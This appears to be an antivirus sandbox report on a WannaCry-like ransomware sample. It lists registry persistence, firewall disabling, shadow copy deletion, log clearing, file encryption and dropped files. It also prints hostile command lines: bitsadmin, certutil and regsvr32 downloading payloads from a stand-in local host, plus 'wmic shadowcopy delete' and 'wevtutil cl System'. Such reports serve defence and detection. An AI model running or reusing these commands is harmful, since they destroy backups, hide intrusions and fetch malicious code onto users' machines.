Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'LoadAppInit_DLLs' = '00000001'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'AppInit_DLLs' = '%WINDIR%\Temp\evil.dll'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateAgent' = 'C:\temp\evil.exe'
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following services
- 'FakeService' <SYSTEM32>\cmd.exe
Creates the following files on removable media
- <Drive name for removable media>:\@please_read_me@.txt
- <Drive name for removable media>:\@wanadecryptor@.exe
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
Injects code into
the following system processes:
- <SYSTEM32>\cmd.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\autochk.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\210252809.jpeg
- %HOMEPATH%\desktop\2.jpeg
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\pushkin.jpeg
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\000814251_video_01.avi
- %HOMEPATH%\desktop\coffee.bmp
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\tileimage.bmp
Modifies file system
Creates the following files
- <Current directory>\dropped\<File name>.exe6076389952.exe
- <Current directory>\dropped\useroobebroker.exe5859158425.exe
- <Current directory>\dropped\explorer.exe9638444274.exe
- <Current directory>\dropped\spoolsv.exe9152034228.exe
- <Current directory>\dropped\runtimebroker.exe1510489313.exe
- <Current directory>\dropped\conhost.exe1987015970.exe
- <Current directory>\dropped\firefox.exe2301521263.exe
- %TEMP%\testfile.txt
- %TEMP%\how_to_decrypt.txt
- <Current directory>\svchost.exe:hidden_data
- C:\users\public\svchost.exe
- %TEMP%\dropped.exe
- <Current directory>\lrafegsfeirpdonudyirlkzxswkddcbycuayfuhlslunb.txt
- %TEMP%\invoke-malware.ps1
- C:\users\public\ransom_wallpaper.jpg
- %TEMP%\cap.bmp
- <Current directory>\ransom.hta
- %LOCALAPPDATA%\microsoft\windows\inetcookies\deprecated.cookie
- %TEMP%\pe7p.exe
- %TEMP%\b.wnry
- %TEMP%\c.wnry
- %TEMP%\msg\m_bulgarian.wnry
- %TEMP%\msg\m_chinese (simplified).wnry
- %TEMP%\msg\m_chinese (traditional).wnry
- %TEMP%\msg\m_croatian.wnry
- %TEMP%\msg\m_czech.wnry
- %TEMP%\msg\m_danish.wnry
- %TEMP%\msg\m_dutch.wnry
- %TEMP%\msg\m_english.wnry
- %TEMP%\msg\m_filipino.wnry
- %TEMP%\msg\m_finnish.wnry
- %TEMP%\msg\m_french.wnry
- %TEMP%\msg\m_german.wnry
- %TEMP%\msg\m_greek.wnry
- %TEMP%\msg\m_indonesian.wnry
- %TEMP%\msg\m_italian.wnry
- %TEMP%\msg\m_japanese.wnry
- %TEMP%\msg\m_korean.wnry
- %TEMP%\msg\m_latvian.wnry
- %TEMP%\msg\m_norwegian.wnry
- %TEMP%\msg\m_polish.wnry
- %TEMP%\msg\m_portuguese.wnry
- %TEMP%\msg\m_romanian.wnry
- %TEMP%\msg\m_russian.wnry
- %TEMP%\msg\m_slovak.wnry
- %TEMP%\msg\m_spanish.wnry
- %TEMP%\msg\m_swedish.wnry
- %TEMP%\msg\m_turkish.wnry
- %TEMP%\msg\m_vietnamese.wnry
- %TEMP%\r.wnry
- %TEMP%\s.wnry
- %TEMP%\t.wnry
- %TEMP%\taskdl.exe
- %TEMP%\taskse.exe
- %TEMP%\u.wnry
- %TEMP%\00000000.pky
- %TEMP%\00000000.eky
- %TEMP%\00000000.res
- %TEMP%\@wanadecryptor@.exe
- %TEMP%\87071782159424.bat
- %TEMP%\@please_read_me@.txt
- %HOMEPATH%\desktop\2.jpeg.wncryt
- %HOMEPATH%\desktop\210252809.jpeg.wncryt
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncryt
- %HOMEPATH%\desktop\february_catalogue__2015.doc.wncryt
- %TEMP%\m.vbs
- %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt
- %HOMEPATH%\desktop\pushkin.jpeg.wncryt
- %HOMEPATH%\desktop\sdszfo.docx.wncryt
- %HOMEPATH%\desktop\@please_read_me@.txt
- %HOMEPATH%\desktop\@wanadecryptor@.exe
- %TEMP%\f.wnry
- %TEMP%\@wanadecryptor@.exe.lnk
- C:\@please_read_me@.txt
- C:\@wanadecryptor@.exe
- C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@please_read_me@.txt
- C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@wanadecryptor@.exe
- C:\recovery\windowsre\@please_read_me@.txt
- C:\recovery\windowsre\@wanadecryptor@.exe
- %ALLUSERSPROFILE%\microsoft\appv\setup\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\appv\setup\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\diagnosis\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\diagnosis\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\network\downloader\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\network\downloader\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\uev\scripts\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\uev\scripts\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\user account pictures\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\user account pictures\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\windows\caches\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\windows\caches\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@wanadecryptor@.exe.lnk
- %ALLUSERSPROFILE%\microsoft\windows nt\msscan\@please_read_me@.txt
- %ALLUSERSPROFILE%\microsoft\windows nt\msscan\@wanadecryptor@.exe.lnk
- %LOCALAPPDATA%\@please_read_me@.txt
- %LOCALAPPDATA%\@wanadecryptor@.exe.lnk
- %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt
- %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt
Deletes following files that it created itself
- %TEMP%\testfile.txt.encrypted
- %TEMP%\how_to_decrypt.txt
- %TEMP%\dropped.exe
- <Current directory>\lrafegsfeirpdonudyirlkzxswkddcbycuayfuhlslunb.txt
- %TEMP%\invoke-malware.ps1
- C:\users\public\ransom_wallpaper.jpg
- %TEMP%\cap.bmp
- <Current directory>\ransom.hta
- %TEMP%\pe7p.exe
Moves the following files
- from %TEMP%\testfile.txt to %TEMP%\testfile.txt.encrypted
- from %HOMEPATH%\desktop\2.jpeg.wncryt to %HOMEPATH%\desktop\2.jpeg.wncry
- from %HOMEPATH%\desktop\210252809.jpeg.wncryt to %HOMEPATH%\desktop\210252809.jpeg.wncry
- from %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt to %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncry
- from %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncryt to %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncry
- from %HOMEPATH%\desktop\february_catalogue__2015.doc.wncryt to %HOMEPATH%\desktop\february_catalogue__2015.doc.wncry
- from %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt to %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncry
- from %HOMEPATH%\desktop\pushkin.jpeg.wncryt to %HOMEPATH%\desktop\pushkin.jpeg.wncry
- from %HOMEPATH%\desktop\sdszfo.docx.wncryt to %HOMEPATH%\desktop\sdszfo.docx.wncry
- from %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt to %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncry
- from %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncry
Modifies the following files
- %APPDATA%\microsoft\windows\themes\cachedfiles\cachedimage_1152_864_pos2.jpg
- %HOMEPATH%\desktop\2.jpeg
- %HOMEPATH%\desktop\210252809.jpeg
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'google.com':80
- 'ex##ple.com':80
- 'ne##lix.com':80
- 'ne##lix.com':443
- 'localhost':80
- '10#.#51.135.62':80
- 'localhost':4443
- 'localhost':445
TCP
HTTP POST requests
- http://www.google.com/api/v1/update
- http://ex##ple.com/api/v1/update
- http://www.ne##lix.com/api/v1/update
Other
- 'ne##lix.com':443
- 'localhost':445
- 'localhost':49709
UDP
- DNS ASK google.com
- DNS ASK ex##ple.com
- DNS ASK ne##lix.com
Miscellaneous
Creates and executes the following
- '<Current directory>\dropped\<File name>.exe6076389952.exe'
- '<Current directory>\dropped\useroobebroker.exe5859158425.exe'
- '<Current directory>\dropped\explorer.exe9638444274.exe'
- '<Current directory>\dropped\spoolsv.exe9152034228.exe'
- '<Current directory>\dropped\runtimebroker.exe1510489313.exe'
- '<Current directory>\dropped\conhost.exe1987015970.exe'
- '<Current directory>\dropped\firefox.exe2301521263.exe'
- '%TEMP%\pe7p.exe'
- '%TEMP%\taskdl.exe'
Executes the following
- '<SYSTEM32>\verifiergui.exe'
- '<SYSTEM32>\wecutil.exe'
- '<SYSTEM32>\sdbinst.exe'
- '<SYSTEM32>\lpremove.exe'
- '<SYSTEM32>\netiougc.exe'
- '<SYSTEM32>\tskill.exe'
- '<SYSTEM32>\isoburn.exe'
- '<SYSTEM32>\backgroundtaskhost.exe'
- '<SYSTEM32>\omadmclient.exe'
- '<SYSTEM32>\control.exe'
- '<SYSTEM32>\cmd.exe'
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 2
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 2
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName
- '<SYSTEM32>\cmd.exe' /c wmic os get Caption
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer myjob http://127.0.0.1/payload.exe C:\temp\payload.exe
- '<SYSTEM32>\wbem\wmic.exe' os get Caption
- '<SYSTEM32>\bitsadmin.exe' /transfer myjob http://127.0.0.1/payload.exe C:\temp\payload.exe
- '<SYSTEM32>\cmd.exe' /c regsvr32.exe /s /u /i:http://127.0.0.1/x scrobj.dll
- '<SYSTEM32>\regsvr32.exe' /s /u /i:http://127.0.0.1/x scrobj.dll
- '<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete
- '<SYSTEM32>\cmd.exe' /c wevtutil cl System
- '<SYSTEM32>\wevtutil.exe' cl System
- '<SYSTEM32>\cmd.exe' /c wmic path Win32_USBHub get DeviceID
- '<SYSTEM32>\wbem\wmic.exe' path Win32_USBHub get DeviceID
- '<SYSTEM32>\cmd.exe' /c systeminfo
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /c mshta.exe javascript:alert(1)
- '<SYSTEM32>\mshta.exe' javascript:alert(1)
- '<SYSTEM32>\cmd.exe' /c rundll32.exe C:\nonexistent.dll,EntryPoint
- '<SYSTEM32>\rundll32.exe' C:\nonexistent.dll,EntryPoint
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -f http://127.0.0.1/x C:\temp\x.exe
- '<SYSTEM32>\certutil.exe' -urlcache -f http://127.0.0.1/x C:\temp\x.exe
- '<SYSTEM32>\cmd.exe' /c wmic process list brief
- '<SYSTEM32>\wbem\wmic.exe' process list brief
- '%WINDIR%\syswow64\attrib.exe' +h .
- '%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q
- '%WINDIR%\syswow64\cmd.exe' /c 87071782159424.bat
- '%WINDIR%\syswow64\cscript.exe' //nologo m.vbs
- '%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE
- '%WINDIR%\syswow64\attrib.exe' +h .' (with hidden window)
- '%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q' (with hidden window)
- '%TEMP%\taskdl.exe' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c 87071782159424.bat' (with hidden window)
- '%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE' (with hidden window)
